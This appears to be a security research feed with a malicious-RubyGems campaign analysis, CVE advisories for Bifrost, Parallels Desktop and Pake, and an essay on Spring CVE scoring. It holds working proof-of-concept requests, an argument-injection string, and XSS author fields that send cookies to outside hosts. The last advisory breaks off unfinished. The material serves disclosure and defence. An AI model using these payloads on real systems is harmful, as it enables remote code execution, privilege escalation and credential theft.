`slnleaker5` version `0.0.1` explicitly loads `script.rb` through `.yardopts`. Its crawler collects council pages and linked documents, writes an `INDEX.txt` and numbered response files, and builds a child gem named `slnpayloadx` followed by the current timestamp.

The credential logic at lines 96-106 goes beyond using its embedded key. It cycles through four forms of the legacy API-key endpoint, making up to 24 harvest-and-upload attempts. It searches each response for a RubyGems key and falls back to its hardcoded value if none is found:

<div align="center">

![Ruby expression that selects a RubyGems API key matched in the response text, or falls back to the hardcoded KEY value.][image2]

</div>

The selected value is then used as the upload request's `Authorization` header. The script tries several spellings of the upload path and stops on an HTTP 200 response. Those path variations show probing; they do not establish that any normalization bypass worked.

This matches the mechanism later described in [RubyGems' legacy API-key advisory](https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html). Under the affected compression and cache-header behavior, a successful legacy sign-in response could be cached at a CDN edge and returned to another caller for up to an hour, including an unauthenticated caller. Ruby's default gzip request behavior was relevant to the vulnerable path.

`slnleaker5` was published at **03:15:22.939 UTC on May 12**. RubyGems says the vulnerability was reported on July 6 and the fix was deployed on July 9\. The source therefore shows an attempt to exploit that behavior before the later report.

<div align="center">

![Ruby code from slnleaker5 that cycles through legacy API-key endpoints, extracts a registry key, and attempts gem uploads until an HTTP 200 response.][image3]

</div>

&nbsp;

&nbsp;

### `f2fe-s1`: Collects Wandsworth's data, publishes to separate Gem

In `f2fe-s1` version `0.0.1`, `loader.rb` fetches public meeting calendars and linked documents from Wandsworth’s council website, then attempts to publish the collected data in a new gem named `f2fe-scraped`.

<div align="center">

![Ruby loader from f2fe-s1 that fetches Wandsworth council calendar and web-service endpoints, follows redirects, and collects meeting IDs and document links.][image4]

</div>

The fetch helper at lines 7-18 uses `Net::HTTP`, disables certificate verification, and follows redirects. The loader tries several calendar and web-service endpoints. It supplies eight date-ranges to `GetMeetings`, then extracts meeting IDs and document links from the responses.

The collection keeps up to 150 meeting IDs and 120 document URLs. It stores responses in `p0.txt`, `ids.txt`, and `d0.bin`, then builds a gem named `f2fe-scraped`. Its version is `0.0.` followed by the current Unix timestamp.

<div align="center">

![Ruby code from f2fe-s1 that builds a gem containing collected council data and posts it to RubyGems using an embedded API key.][image5]

</div>

Lines 59-62 build the gem and attempt to POST it to RubyGems' `/api/v1/gems` endpoint using an embedded API key. The registry is the return channel for the collected data.

### `yardxabc889`: Collects Lambeth's data, republishes in same Gem

`yardxabc889` version `0.0.1` uses `.yardopts` to load `evil.rb`.

The script fetches Lambeth’s calendar page and writes up to 500,000 characters of the response, or an error message, into `README.md`. It then removes the payload’s YARD load directive, builds version `0.0.2` of the same gem, `yardxabc889`, and attempts to publish that version with the collected data:

<div align="center">

![Ruby code from yardxabc889 that removes the payload loader from .yardopts and changes the gem version from 0.0.1 to 0.0.2.][image6]

</div>

The replacement `.yardopts` removes `--load ./evil.rb`. The script builds `yardxabc889-0.0.2.gem` and attempts to publish it using an embedded credential.

<div align="center">

![Ruby code from yardxabc889 that rebuilds the modified gem and attempts to publish it to RubyGems using an embedded credential.][image7]

</div>

### `southpxdatapp6pi`: Collects Southwark's data, stores in webhook URLs

Unlike the previous two payloads, `southpxdatapp6pi` version `0.0.1` attempts to store the fetched data in RubyGems webhook configuration rather than publishing it in a gem.

The script requests Southwark's calendar page, prefixes the body with the HTTP status, compresses it with zlib, and applies URL-safe Base64 encoding. It removes padding and splits the result into chunks of at most 220 characters.

For each chunk, it sends a request to `/api/v1/web_hooks`, setting `gem_name` to `southpxdatapp6pi` and placing the data in a URL shaped like this:

```
https://example.com/A000/<encoded-chunk>
https://example.com/A001/<encoded-chunk>
https://example.com/ZZEND/<chunk-count>
```

<div align="center">

![Ruby code from southpxdatapp6pi that compresses and Base64-encodes a Southwark council response, then stores numbered chunks and an end marker in RubyGems webhook URLs.][image8]

</div>

The write destination in the code is the RubyGems webhook API. `example.com` is embedded in the stored value; nothing in this sample points to a real C2. If the registrations succeed, the response data is held in webhook configuration; a separate reader could reconstruct the ordered chunks. The script also tries to record an `ERR/` marker on failure. This package also uses the same embedded API-key value as `yardxabc889`.

## Analysis of malicious package metadata

The July samples target another set of consumers: RubyGems package pages (ex. Browsed to by users), administrative views, and metadata parsers. They can matter even when the package's Ruby library does almost nothing.

### XSS in descriptions and author fields

Some of the packages contain XSS proof-of-concepts embedded in their metadata, attempting to prove user hijacking, in cases where users view the rendered metadata.

In `xss-test-gem` version `0.1.0`, the only listed Ruby source is:

<div align="center">

![The entire xssgem.rb library: an Xssgem module that only defines VERSION as 0.1.0.][image9]

</div>

The attack strings are in the serialized gemspec's `description`, lines 13-20. They include an image error handler, a script element, a `javascript:` link, and an SVG load handler:

<div align="center">

![Gem metadata containing XSS probes in the description, including an image error handler, a script element, a JavaScript link, and an SVG load handler.][image10]

</div>

Each tests a different rendering path. The same description includes a `data-controller=dump` element and malformed MathML/HTML nesting.

We also found several packages with interesting authors:

| Package | Author |
| :---- | :---- |
| `attacker-xss-admin-1@0.0.1` | `"<script>new Image().src=""https://d96877a5q295v25se560q7ntmmwky7x8o.oast.online/admin-xss-author""</script>"` |
| `xssname-1783397821@0.0.1` | `<img src=x onerror=fetch('https://webhook.site/steal?c='+document.cookie)>` |
| `test-apex-gem@0.1.3` | `<img src=x onerror=alert(1)>` |

<div align="center">

![Metadata for xss-test-gem showing injected HTML and JavaScript payloads in the package description.][image11]

</div>

### Template expressions and YAML-labeled tests

Three uploads arrived within five seconds on July 7:

| Package | Upload time, UTC | Author |
| :---- | :---- | :---- |
| `test-ssti-0@0.1.0` | 07:25:48.110 | `<%= 7*7 %>` |
| `test-ssti-1@0.1.0` | 07:25:50.094 | `${7*7}` |
| `test-ssti-4@0.1.0` | 07:25:52.741 | `<%25= 7*7 %>` |

The first is an ERB expression. The second tests expression-language interpolation. The third becomes the ERB form after percent-decoding `%25` to `%`. The arithmetic result would be 49 in a compatible evaluator, giving the operator a simple string to look for.

## Remediation guidance

### Step 1: Check the execution surface

Review CI jobs that processed the identified versions (see full list below). Look for [YARD](https://yardoc.org/) `--load` directives, package-controlled plugins, extension build steps, and requests to generate documentation.

If an untrusted payload ran on a worker, isolate it and preserve the build logs and artifacts. Rebuild the worker from a trusted image before reuse. Rotate credentials that the process could access.

### Step 2: Remove unnecessary worker privileges

Run untrusted documentation builds in disposable environments without registry-publishing keys, cloud credentials, or host mounts. Deny unnecessary outbound access, including access to cloud metadata and internal services. A documentation job that only reads packages should not be able to publish them.

Do not honor arbitrary package-supplied load options in a trusted process. If a service must support executable documentation helpers, treat the entire job as untrusted code execution and isolate it accordingly.

### Step 3: Audit registry credentials and account changes

RubyGems reports that it fixed the cache issue and revoked legacy API keys. Follow their [advisory](https://blog.rubygems.org/2026/07/22/security-advisory-legacy-api-key-leak.html) and inspect account history for unexpected versions, yanks, owner changes, trusted publishers, and webhooks.

Use scoped credentials, MFA that applies to API operations, and short-lived trusted publishing where possible.

### Step 4: Treat metadata as untrusted input

Escape author and description fields in public and administrative views. Where HTML is allowed, use a maintained sanitizer that handles event attributes, URL schemes, SVG, and parser edge cases. Do not pass metadata values back through a template evaluator.

Use restricted metadata deserialization. Inspect suspicious values as text rather than loading gemspec code or unsafe YAML objects.

## IOCs

| Package | Versions | Xray ID |
| :---- | :---- | :---- |
| slnleaker5 | 0.0.1 | XRAY-982350 |
| f2fe-s1 | 0.0.1 | XRAY-1024400 |
| yardxabc889 | 0.0.1 | XRAY-982421 |
| southpxdatapp6pi | 0.0.1 | XRAY-982441 |
| xss-test-gem | 0.1.0 \- 0.3.5 | XRAY-1079280 |
| test-apex-gem | 0.1.1, 0.1.3 | XRAY-1079209 |

… and many more. The full list can be found [here](/gemstuffer.csv).

[image1]: /img/RealTimePostImage/post/gemstuffer.png
[image2]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image2.png
[image3]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image3.png
[image4]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image4.png
[image5]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image5.png
[image6]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image6.png
[image7]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image7.png
[image8]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image8.png
[image9]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image9.png
[image10]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image10.png
[image11]: /img/RealTimePostImage/post/gemstuffer-openai-rubygems/image11.png]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration]]></title>
            <link>https://research.jfrog.com/vulnerabilities/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio-client-registration-cve-2026-90898/</link>
            <guid>https://research.jfrog.com/vulnerabilities/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-mcp-stdio-client-registration-cve-2026-90898/</guid>
            <pubDate>Mon, 14 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[CVE-2026-90898, CRITICAL, Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration]]></description>
            <content:encoded><![CDATA[
## Summary

Bifrost is vulnerable to Unauthenticated Remote Code Execution via MCP Stdio Client Registration


## Component

Bifrost (github.com/maximhq/bifrost/transports)

## Affected versions

< 2.1.0

## Description

Bifrost registers MCP clients through its management API. A stdio client is a command plus args. Bifrost starts that program in the gateway the moment the client is added. No MCP handshake required.

The default is governance.auth_config.is_enabled=false. Auth off means every caller is a local admin. One unauthenticated POST /api/mcp/client is enough to run a program as the Bifrost process user (appuser on the official image).

The HTTP request may time out. The process is already running. transports/v2.1.0 refuses an unauthenticated stdio registration with 403. transports/v2.0.0 still allows it. The 1.6.x line through 1.6.11 does not contain the fix.

## PoC

<br>

**Step 1 - Run Bifrost with management authentication disabled**

<br>

Start a Bifrost HTTP transport before 2.1.0 with the default governance.auth_config.is_enabled=false. The management API must be reachable on the host and port you use below (the binary default is localhost:8080):

```
curl -fsS http://127.0.0.1:8080/health
```

<br>

**Step 2 - Register a stdio MCP client**

<br>

No authentication header is required. A request timeout is expected while Bifrost waits for an MCP handshake. The timeout does not mean the command failed to start.

```
curl --max-time 5 --silent --show-error \
  --request POST http://127.0.0.1:8080/api/mcp/client \
  --header 'Content-Type: application/json' \
  --data '{
    "name": "rceproof",
    "connection_type": "stdio",
    "auth_type": "none",
    "stdio_config": {
      "command": "/bin/sh",
      "args": ["-c", "echo PROVEN > /tmp/bifrost-mcp-rce; sleep 60"]
    },
    "tools_to_execute": ["*"]
  }' || true
```

<br>

**Step 3 - Confirm the command ran**

<br>

```
cat /tmp/bifrost-mcp-rce
```

<br>

Expected output:

```
PROVEN
```

<br>

On 2.1.0 or later, the same POST returns 403 and the marker is not written.

## Vulnerability Mitigations

Upgrade Bifrost HTTP transport to 2.1.0 or later. The fix (https://github.com/maximhq/bifrost/pull/6757) returns 403 for unauthenticated stdio MCP client registration when dashboard authentication is disabled or unconfigured. Authenticated admins can still add stdio clients. The 1.6.x line through 1.6.11 and transports/v2.0.0 do not include this change.

Until you upgrade, set governance.auth_config.is_enabled to true, use strong administrator credentials, and keep the management listener off untrusted networks. Treat any exposed instance that ran with authentication disabled as compromised and rotate virtual keys and provider credentials.

## References
https://www.cve.org/CVERecord?id=CVE-2026-90898
https://github.com/maximhq/bifrost/pull/6757
https://github.com/maximhq/bifrost/commit/12e170352bd25eab1ae9ba16611f1797d1fd8fdc
https://github.com/maximhq/bifrost/releases/tag/transports/v2.1.0
https://github.com/maximhq/bifrost
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Parallels Desktop is vulnerable to a Local Privilege Escalation via Appliance Extract Argument Injection]]></title>
            <link>https://research.jfrog.com/vulnerabilities/parallels-desktop-is-vulnerable-to-a-local-privilege-escalation-via-appliance-extract-argument-injection-cve-2026-90894/</link>
            <guid>https://research.jfrog.com/vulnerabilities/parallels-desktop-is-vulnerable-to-a-local-privilege-escalation-via-appliance-extract-argument-injection-cve-2026-90894/</guid>
            <pubDate>Mon, 14 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[CVE-2026-90894, HIGH, Parallels Desktop is vulnerable to a Local Privilege Escalation via Appliance Extract Argument Injection]]></description>
            <content:encoded><![CDATA[
## Summary

Parallels Desktop is vulnerable to a Local Privilege Escalation via Appliance Extract Argument Injection


## Component

Parallels Desktop for Mac

## Affected versions

< 27.0.0

## Description

Parallels Desktop runs prl_disp_service as root. Local clients reach it on the world-writable socket /var/run/prl_disp_service.socket. PrlSrv_LoginLocal accepts peer credentials. No Parallels signature. No admin group.

After login, PrlSrv_InstallAppliance lets you pick the appliance folder (sVmParentPath). The daemon unpacks with one string, tar -xf "%1" -C "%2", then Qt QProcess::splitCommand chops that string into words. A quote in the folder name closes early. The leftover text becomes extra tar flags. macOS tar --use-compress-program= runs the named program as root.

I got a root shell on 26.4.0 (57513). 27.0.0 starts tar as a fixed argv list, so the same quote stays a folder name and does not run code. Hosts that stay on the 26.x line, including 26.4.2, do not have that extract change.

## PoC

<br>

**Step 1 - Confirm the build and the dispatcher socket**

<br>

```
defaults read "/Applications/Parallels Desktop.app/Contents/Info" CFBundleShortVersionString
ls -l /var/run/prl_disp_service.socket
```

<br>

Expected output on a vulnerable host:

```
26.4.0
srwxrwxrwx  1 root  daemon  0 ... /var/run/prl_disp_service.socket
```

<br>

**Step 2 - Log in as a non-admin user**

<br>

From an unsigned process, call PrlSrv_LoginLocal against the dispatcher, then read PrlUsrCfg_IsLocalAdministrator. The login returns 0. The administrator flag stays 0.

<br>

**Step 3 - Install an appliance into a quote-breaking folder**

<br>

Build a small tar and set PackageURL to a file:// path with a matching PackageMd5. Pass sVmParentPath as a real directory whose name embeds a quote and a tar flag:

```
/tmp/sprl_p_<uid>" --use-compress-program=/tmp/u<uid> "
```

<br>

Call PrlSrv_InstallAppliance. On 26.4.0, QProcess::splitCommand turns the text after the quote into extra argv. macOS tar then runs /tmp/u<uid> as root.

<br>

**Step 4 - Check the result**

<br>

On 26.4.0 the named program runs as uid 0. InstallAppliance may return -41508 after extract. That is expected. Proof is the root marker, not the job status.

<br>

On 27.0.0 the same folder name is created on disk as a directory. It does not become tar flags. Root does not run the script.

## Vulnerability Mitigations

Upgrade to Parallels Desktop 27.0.0 or later.

Until every host is on 27.0.0 or later, restrict local login on those Macs. Any local account on a vulnerable install can reach the dispatcher socket.

## References
https://www.cve.org/CVERecord?id=CVE-2026-90894
https://kb.parallels.com/en/131168
https://www.parallels.com/products/desktop/
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bifrost is vulnerable to Unauthenticated Remote Code Execution via a Custom Plugin HTTP Path on Dynamically Linked Builds]]></title>
            <link>https://research.jfrog.com/vulnerabilities/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-a-custom-plugin-http-path-on-dynamically-linked-builds-cve-2026-86242-jfsa-2026-001684572/</link>
            <guid>https://research.jfrog.com/vulnerabilities/bifrost-is-vulnerable-to-unauthenticated-remote-code-execution-via-a-custom-plugin-http-path-on-dynamically-linked-builds-cve-2026-86242-jfsa-2026-001684572/</guid>
            <pubDate>Sun, 06 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[CVE-2026-86242, HIGH, Bifrost is vulnerable to Unauthenticated Remote Code Execution via a Custom Plugin HTTP Path on Dynamically Linked Builds]]></description>
            <content:encoded><![CDATA[
## Summary

Bifrost is vulnerable to Unauthenticated Remote Code Execution via a Custom Plugin HTTP Path on Dynamically Linked Builds


## Component

Bifrost (github.com/maximhq/bifrost/transports)

## Affected versions

< 2.0.0

## Description

Bifrost HTTP transport before 2.0.0 accepts an enabled custom plugin whose path is an HTTP URL through unauthenticated POST /api/plugins when management authentication is disabled (the default, governance.auth_config.is_enabled=false). The shared-object loader treats an http-prefixed path as a download URL, writes the body to a temporary .so, and passes it to Go's plugin.Open. After a successful open, optional Init runs immediately with the supplied config as the Bifrost process user.

On documented dynamically linked builds (DYNAMIC=1), which the vendor requires for custom Go plugins, plugin.Open is expected to succeed. That is unauthenticated remote code execution in the gateway process. On the published statically linked Docker image, plugin.Open fails with Dynamic loading not supported, so that build class is only server-side request forgery. A loadable plugin must also match the host Go version, operating system, architecture, and linkage. The stock bifrost-http binary binds localhost:8080; the official Docker image binds 0.0.0.0 but is statically linked. The 1.6.x HTTP transport line through 1.6.11 does not contain the fix.

## PoC

<br>

**Step 1 - Build a dynamically linked Bifrost**

<br>

From a Bifrost transports checkout before 2.0.0, build with plugin support and run it with management authentication left disabled (the default). The management API must be reachable on the host and port you use below (the binary default is localhost:8080):

```
make build DYNAMIC=1
```

<br>

**Step 2 - Build a canary plugin**

<br>

Build a Go shared object with the same Go version and libc as that binary. A minimal Init that writes a marker is enough:

```
package main

import "os"

func Init(config any) error {
    return os.WriteFile("/tmp/bifrost-plugin-rce", []byte("PROVEN\n"), 0644)
}

func GetName() string { return "evilplugin" }

func Cleanup() error { return nil }
```

```
go build -buildmode=plugin -o /tmp/evilplugin.so main.go
```

<br>

**Step 3 - Host the shared object and register it**

<br>

Serve /tmp/evilplugin.so over HTTP on an address the Bifrost host can reach, then create an enabled plugin with that URL as path. No authentication header is required:

```
curl -sS -X POST "http://127.0.0.1:8080/api/plugins" \
  -H "Content-Type: application/json" \
  -d "{\"name\": \"evilplugin\", \"enabled\": true, \"path\": \"http://<host>:<port>/evilplugin.so\"}"
```

<br>

**Step 4 - Confirm the code ran**

<br>

Expected output on a dynamically linked build:

```
cat /tmp/bifrost-plugin-rce
```

```
PROVEN
```

<br>

On a static or official image instead, expect the download to succeed and plugin.Open to fail with Dynamic loading not supported.

## Vulnerability Mitigations

Upgrade Bifrost HTTP transport to 2.0.0 or later. The fix (https://github.com/maximhq/bifrost/pull/5763) refuses create and update of a non-builtin plugin path when the request was let through because dashboard authentication is disabled or unconfigured, and hardens the plugin downloader against SSRF. The 1.6.x line through 1.6.11 does not include this change.

If custom Go plugins are not required, run the statically linked binary or official Docker image so plugin.Open cannot succeed. Otherwise enable dashboard authentication and keep the management listener off untrusted networks.

## References
https://www.cve.org/CVERecord?id=CVE-2026-86242
https://github.com/maximhq/bifrost/security/advisories/GHSA-2qp8-4xgm-fw6g
https://github.com/maximhq/bifrost/pull/5763
https://github.com/maximhq/bifrost/commit/e0057ff355f831c251eabe9d0e44f3a3748532c6
https://github.com/maximhq/bifrost/releases/tag/transports/v2.0.0
https://github.com/maximhq/bifrost
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When "Critical" Loses Context: The Reality of Spring CVEs]]></title>
            <link>https://research.jfrog.com/post/when-critical-loses-context-spring-cves/</link>
            <guid>https://research.jfrog.com/post/when-critical-loses-context-spring-cves/</guid>
            <pubDate>Thu, 03 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[On August 20, 2026, Spring published 91 CVEs in a single day. CISA's ADP rated six of them Critical. When we checked those scores against Spring's own advisories, they didn't hold up.]]></description>
            <content:encoded><![CDATA[
![](/img/RealTimePostImage/post/when-critical-loses-context-spring-cves/image1.png)

On August 20, 2026, [Spring published](https://spring.io/security) 91 CVEs in a single day. CISA's ADP rated six of them Critical. When we checked those scores against Spring's own advisories, they didn't hold up:

1. ***CVE-2026-47890*** and ***CVE-2026-59313*** have the same underlying weakness: a carriage return that corrupts a Server-Sent Events stream. **Spring scores both 2.6, Low, with the same vector**. CISA scores both 9.8, Critical.
2. ***CVE-2026-47891*** is a memory-exhaustion bug. **Nothing in the advisory or the fix touches confidentiality or integrity.** CISA's vector claims full compromise of both anyway.
3. ***CVE-2026-47892*** and ***CVE-2026-59283*** are **reachable only under specific, non-default application conditions**. CISA assigns both Low attack complexity without accounting for these prerequisites.
4. ***CVE-2026-47884*** is the one CVE here where CISA's Critical rating has a real basis: Spring's own advisory names a conditional path to RCE.

## How CVEs Got Faster Than the People Scoring Them

This is not a Spring problem, and it is not a new one. It is what happens when the volume of incoming vulnerabilities outgrows the capacity of anyone verifying them.

According to NIST, CVE submissions have grown by roughly 263% since 2020. NIST enriched around 42,000 records in 2025, more than in any year before it, and still lost ground. 2026 YTD sits at 58,482 CVEs - already 45.0% above all of 2024 (40,313) and 20.9% above all of 2025 (48,364), with four months still remaining in the year. By the end of that year the NVD's backlog of unprocessed vulnerabilities had passed 27,000, and projections for 2026 put annual disclosures above 60,000. In April 2026, NIST responded the only way it could: it stopped trying to enrich everything. Today the NVD analyzes:

1. CVEs in the KEV catalog.
2. CVEs in federal software.
3. CVEs in software defined as critical under [EO 14028](https://www.nist.gov/itl/executive-order-14028-improving-nations-cybersecurity/securing-critical-software/critical), which covers software that runs with elevated privilege or controls access to systems and data. Spring does not qualify, so its CVEs get no NIST enrichment at all.

Everything else is published and labeled "Not Scheduled," These records may still contain metadata supplied by vendors or CNAs, but they receive no NIST-added severity score, CWE, or product mapping.

## CVEs Rated Critical by CISA

| CVE | Component | CISA score | Score from Spring CVSS vector | Spring advisory | Fix commit |
| :---- | :---- | :---- | :---- | :---- | :---- |
| [CVE-2026-47884](https://nvd.nist.gov/vuln/detail/CVE-2026-47884) | org.springframework:spring-webmvc | 9.8 (Critical) | 5.8 (Medium) | [Advisory](https://spring.io/security/cve-2026-47884) | [Commit](https://github.com/spring-projects/spring-framework/commit/d31f7a5a801b) |
| [CVE-2026-47890](https://nvd.nist.gov/vuln/detail/CVE-2026-47890) | org.springframework:spring-webmvc, org.springframework:spring-webflux | 9.8 (Critical) | 2.6 (Low) | [Advisory](https://spring.io/security/cve-2026-47890) | [Commit](https://github.com/spring-projects/spring-framework/commit/1994e0ebd077) |
| [CVE-2026-47891](https://nvd.nist.gov/vuln/detail/CVE-2026-47891) | org.springframework:spring-web | 9.8 (Critical) | 4.3 (Medium) | [Advisory](https://spring.io/security/cve-2026-47891) | [Commit](https://github.com/spring-projects/spring-framework/commit/e12f0761f3bf) |
| [CVE-2026-47892](https://nvd.nist.gov/vuln/detail/CVE-2026-47892) | org.springframework:spring-webflux | 9.8 (Critical) | 4.8 (Medium) | [Advisory](https://spring.io/security/cve-2026-47892) | [Commit](https://github.com/spring-projects/spring-framework/commit/07cbd482a000) |
| [CVE-2026-59313](https://nvd.nist.gov/vuln/detail/CVE-2026-59313) | org.springframework:spring-webmvc | 9.8 (Critical) | 2.6 (Low) | [Advisory](https://spring.io/security/cve-2026-59313) | [Commit](https://github.com/spring-projects/spring-framework/commit/35921cc01f81) |
| [CVE-2026-59283](https://nvd.nist.gov/vuln/detail/CVE-2026-59283) | org.springframework:spring-expression | 9.1 (Critical) | 6.5 (Medium) | [Advisory](https://spring.io/security/cve-2026-59283) | [Commit](https://github.com/spring-projects/spring-framework/commit/0d08f8dfaf26) |

\* The CISA scores come from CISA-ADP entries in NVD. Spring scores are calculated from the CVSS 3.1 vectors linked in the official Spring advisories.

## Why the Gap Matters

These differences highlight the value of considering vendor assessments alongside external CVSS ratings. Maintainers often have detailed knowledge of the affected code path, the conditions required for exploitation, and the likely impact, allowing their analysis to better reflect practical risk.

## Why Spring's Assessments Are More Reasonable

To understand the differences, we reviewed each advisory, both CVSS vectors, the affected code path, the fix, and the available tests. Spring's assessments generally reflect the conditions required to reach each issue and the impact directly supported by the code, while CISA's Critical ratings assume broader and more damaging outcomes.

#### CVE-2026-47884 - Improper Path Limitation in XsltView

**CISA: 9.8 Critical | Spring: 5.8 Medium**

CISA rates this as full confidentiality, integrity, and availability compromise. Spring's advisory acknowledges both SSRF and RCE but scores it as low-confidentiality with changed scope - essentially rating the SSRF path. When the preconditions are met, RCE may be possible: the JDK's XSLT processor permits Java extension functions by default, and Spring does not restrict them, so an attacker-supplied stylesheet can call Runtime.exec() without any additional configuration. However, the preconditions themselves are narrow - the application must use XsltView (a legacy view technology - a public GitHub code search finds only 33 XsltViewResolver imports, versus over 8,000 for Thymeleaf and over 21,000 for JSP), have a catch-all /** mapping, and derive the view name from the request path.

![](/img/RealTimePostImage/post/when-critical-loses-context-spring-cves/image2.png)

Spring's 5.8 understates the impact when the conditions are met, but CISA's 9.8 overstates how commonly those conditions exist in real applications.

#### CVE-2026-47890 - SSE Stream Corruption While Rendering Fragments

**CISA: 9.8 Critical | Spring: 2.6 Low**

CISA claims full server compromise with no preconditions. The actual bug is a `\r` character that breaks SSE field boundaries when view fragments are streamed to clients. The bug affects spring-webmvc and spring-webflux - the former among the most widely deployed Java web libraries, referenced in roughly 129,000 pom.xml files on GitHub, the latter in about 9,400 - but the vulnerable path requires the fragments-over-SSE feature.

![](/img/RealTimePostImage/post/when-critical-loses-context-spring-cves/image3.png)

The application must also combine this with attacker-controlled data flowing through template rendering into those fragments while victims are actively consuming the stream. The impact is corrupted event data in other users' browsers: no server-side data is leaked, no code is executed, and no service is disrupted. Spring's 2.6 accurately reflects the narrow, client-side-only impact.

#### CVE-2026-47891 - maxInMemorySize Bypassed in Jaxb2XmlDecoder

**CISA: 9.8 Critical | Spring: 4.3 Medium**

CISA claims full confidentiality and integrity compromise. The bug is a memory-limit bypass in JAXB XML decoding that requires the optional Aalto XML async parser to be on the classpath - an uncommon dependency. The application must also actively decode XML through JAXB-annotated types, whether via @RequestBody, the functional ServerRequest API, WebClient's ClientResponse, or direct Jaxb2XmlDecoder calls. Even when all conditions are met, the impact is strictly resource exhaustion - the fix moves a byte counter, and nothing in the code path touches data confidentiality or integrity. **Of 27 Spring Framework CVEs rated Medium in 2026, CISA or NVD escalated four to Critical and seven to High. Eight kept their Medium rating, while eight have not received a separate CISA or NVD CVSS score.** Spring's availability-only score is the only one the code supports.

#### CVE-2026-47892 - Header Predicate Bypass in WebFlux Functional Endpoints

**CISA: 9.8 Critical | Spring: 4.8 Medium**

CISA scores this as trivially exploitable with full impact. The bug only affects applications that deploy WebFlux functional endpoints standalone via RouterFunctions.toHttpHandler() or RouterFunctions.toWebHandler() - the standard Spring Boot deployment with DispatcherHandler intercepts preflight requests before any handler invocation and is not affected. This is a rare, non-default deployment pattern. The bypass causes a crafted CORS preflight to pass header predicates unconditionally and actually execute the handler function without the required headers - so if the handler returns sensitive data or triggers side effects, those fire on a crafted OPTIONS request. That said, the impact is bounded by what that specific handler does, not system-wide. Spring's 4.8 reflects that the deployment prerequisite is niche and the impact is handler-dependent; CISA's 9.8 assumes universal exploitability and full server compromise, neither of which is supported by the code.

#### CVE-2026-59283 - SpEL SimpleEvaluationContext Safety Guard Bypass

**CISA: 9.1 Critical | Spring: 6.5 Medium**

CISA assumes low attack complexity and high integrity impact. The vulnerability is a safety guard bypass: when the SpEL compiler is active, compiled bytecode skips the runtime policy checks that SimpleEvaluationContext enforces in interpreted mode. The severity depends on whether expressions are ever compiled under a permissive context and later evaluated under a restricted one - in that scenario, the compiled bytecode retains full power. When only SimpleEvaluationContext is used, dangerous operations fail before compilation triggers, limiting impact to confidentiality leaks and memory pressure. Spring's score reflects this nuance - confidentiality low, availability high, integrity none - because assignment expressions are not compilable. The vulnerability requires two non-default configurations: explicit SimpleEvaluationContext usage and the SpEL compiler enabled in IMMEDIATE or MIXED mode, which is off by default. CISA's 9.1 treats these prerequisites as a given.

#### CVE-2026-59313 - SSE Stream Corruption in Functional MVC

**CISA: 9.8 Critical | Spring: 2.6 Low**

Identical root cause to CVE-2026-47890 - a `\r` that breaks SSE field boundaries - but across seven specific call sites spanning three SSE builder classes in the functional MVC, annotation-based MVC, and WebFlux APIs. The vulnerability requires attacker-controlled data to reach one of these SSE builder methods. The fix replaces split("\n") with a character-by-character loop that also handles `\r`. The impact is client-side stream corruption only. Spring assigns both this and CVE-2026-47890 the identical vector and score - 2.6 Low. **Of 8 Spring Framework CVEs rated Low in 2026, CISA or NVD escalated two to Critical, two to High, and one to Medium. Only one kept its Low rating, while two have not received a separate CISA or NVD CVSS score.**

## Conclusion: Two Scores, One Record, No Referee

Nothing in the CVE pipeline resolves a disagreement between a vendor's score and CISA's. CISA's ADP scores only records where the CNA supplied nothing, and Vulnrichment's own documentation treats a record carrying both scores as an error in the ADP container, with the CNA's data taking precedence. Spring published complete CVSS vectors in its advisories but did not carry them into the CVE records, so the ADP filled a vacuum that was never meant to stay open.

The gap that opened is not a matter of opinion. The vendor wrote the affected code, holds the report, writes the fix, and runs the tests. On CVE-2026-47891 the fix moves a byte counter; on CVE-2026-59313 it handles a carriage return, and the same weakness produces the same 9.8 twice. Nobody reading those commits arrives at full confidentiality and integrity compromise. A score assigned without them can, and did.

The correction requires no new policy. Until the vendor's vector reaches the CVE record, read the ADP container as an estimate made without the code. Where a vendor score and an external one disagree, that gap is a signal to verify. **Vendor-provided vectors should remain the primary assessment, while CISA's enrichment should be reserved only for records where no vendor score exists.**
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pake is vulnerable to Arbitrary File Write via Unsanitized download_file Filename]]></title>
            <link>https://research.jfrog.com/vulnerabilities/pake-is-vulnerable-to-arbitrary-file-write-via-unsanitized-download-file-filename-cve-2026-82635/</link>
            <guid>https://research.jfrog.com/vulnerabilities/pake-is-vulnerable-to-arbitrary-file-write-via-unsanitized-download-file-filename-cve-2026-82635/</guid>
            <pubDate>Sun, 30 Aug 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[CVE-2026-82635, HIGH, Pake is vulnerable to Arbitrary File Write via Unsanitized download_file Filename]]></description>
            <content:encoded><![CDATA[
## Summary

Pake is vulnerable to Arbitrary File Write via Unsanitized download_file Filename


## Component

Pake (tw93/Pake)

## Affected versions

< 3.13.1

## Description

